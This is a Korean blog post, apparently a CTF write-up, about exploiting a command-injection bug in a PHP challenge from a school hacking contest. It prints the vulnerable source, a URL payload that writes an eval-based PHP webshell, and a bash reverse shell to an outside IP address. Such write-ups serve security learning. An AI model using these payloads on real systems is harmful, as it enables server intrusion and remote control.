디미고 내부 CTF, TRUSTEALTH CTF System 문제 리버스쉘
2017. 10. 2. 14:29
최근에 디미고 동아리 중에 Trust와 Stealth와 연합해서 CTF를 개최한 적이 있습니다. TRUSTEALTH CTF라는 이름이었는데, 이 CTF의 System 이라는 웹 문제에서 c2m2w2 친구가 리버스쉘을 실행했었다는 얘기를 듣고 저도 시도해보게 되었습니다.
이 CTF가 열렸을 때가 비오비 면담하고 곂쳐서 꽤나 고생했다는...ㅋㅋ
System 문제 Overveiw
문제에 처음 접속했을 때 기본적으로 나오는 화면입니다. 딱봐도 system 함수에서 취약점이 터지는 것을 알 수 있습니다.
이 문제가 200pt 였는데 ㄹㅇ루다가 10초컷 가능
머 결론부터 말하자면 escapeshellarg() 함수로 $_GET['filename']의 command injection이 가능한 모든 특수문자들을 막을 수 있습니다.
일단 문제 소스부터 보도록 하져ㅋㅋㅋ
Source
Command Injection이 가능하기 때문에 cat 명령어로 소스를 볼 수 있습니다. 소스는 다음과 같습니다.
<html> <h1>Let's find flag!</h1> <hr / > <p style= "color:blue">$File list$(****** is not a file name. This is a file that you must find and read)</p> <p>hello.php</p> <p>really.php</p> <p>exam.php</p> <p>exam1.php</p> <p>********</p> <hr / > <code> <span style="color: #0000BB"><?php<br /> </span><span style="color: #007700">echo </span><span style="color: #DD0000">"Please enter specify the name of the file to show<br>"</span><span style="color: #007700">;<br /> </span><span style="color: #0000BB">$file </span><span style="color: #007700">= </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'filename'</span><span style="color: #007700">];<br /> </span><span style="color: #0000BB">system</span><span style="color: #007700">(</span><span style="color: #DD0000">"cat </span><span style="color: #0000BB">$file</span><span style="color: #DD0000">"</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">?><br /></span> </span> </code> <hr/> <?php echo "Please enter specify the name of the file to show<br><br>"; $file = $_GET['filename']; if(preg_match("/cd|rm|cp|mv|\//i", $file)) echo("No Hack~"); else system("cat $file"); ?> </html> </html>
cd, rm, cp, mv, 그리고 슬래쉬..
다른 명령어는 상관이 없지만, 슬래쉬를 막는게 생각보다 막막했습니다.
제가 생각했던 방법은 echo 로 웹쉘 파일을 만들고 nc로 reverse shell을 만드는 것이었습니다.
[url]?filename=;ls;cat+KdQnUv9G.php;echo+"<?php+extract(\$_GET);extract(\$_POST);print_r(\$_GET);eval(\$cmd);+?>" +>+webshell.php;cat+webshell.php;
이렇게 하면 webshell.php 에는 아래와 같은 소스가 들어가게 됩니다.
<?php extract($_GET);extract($_POST);print_r($_GET);eval($cmd); ?>
이렇게 생성한 webshell.php에 접속하고 커맨드를 입력하면 됩니다.
system() 함수를 쓰지 않은 이유는 cafe24에서 WAF로 막아서 406 에러가 났기 때문입니다.
그럼 리버스쉘을 이용해볼까요?
webshell.php?cmd=echo+exec('bash+-i+>%26+/dev/tcp/108.61.161.168/7878+0>%261');
이렇게 하면
여담
이 CTF 사이트가 Cafe24에서 호스팅된 서버인데, 리버스쉘을 하자마자 사이트 등록한 본인에게 연락이 갔다고 한다... 사이트 주인은 스텔스 동아리의 동아리장 선배였는데 넘모넘모 눈치보여따,,,,흑,,,ㅠ
'Hacking > Web.' 카테고리의 다른 글
XSS, CSRF 시 세션하이재킹 툴 (0) | 2017.10.04 |
---|---|
XSS 관련 워게임 (0) | 2017.10.02 |
[퍼옴] secuinside mygf write up (0) | 2017.07.05 |
Secuinside CTF write up (0) | 2017.07.02 |
http://u32.jeong.su/dog/ (0) | 2017.07.01 |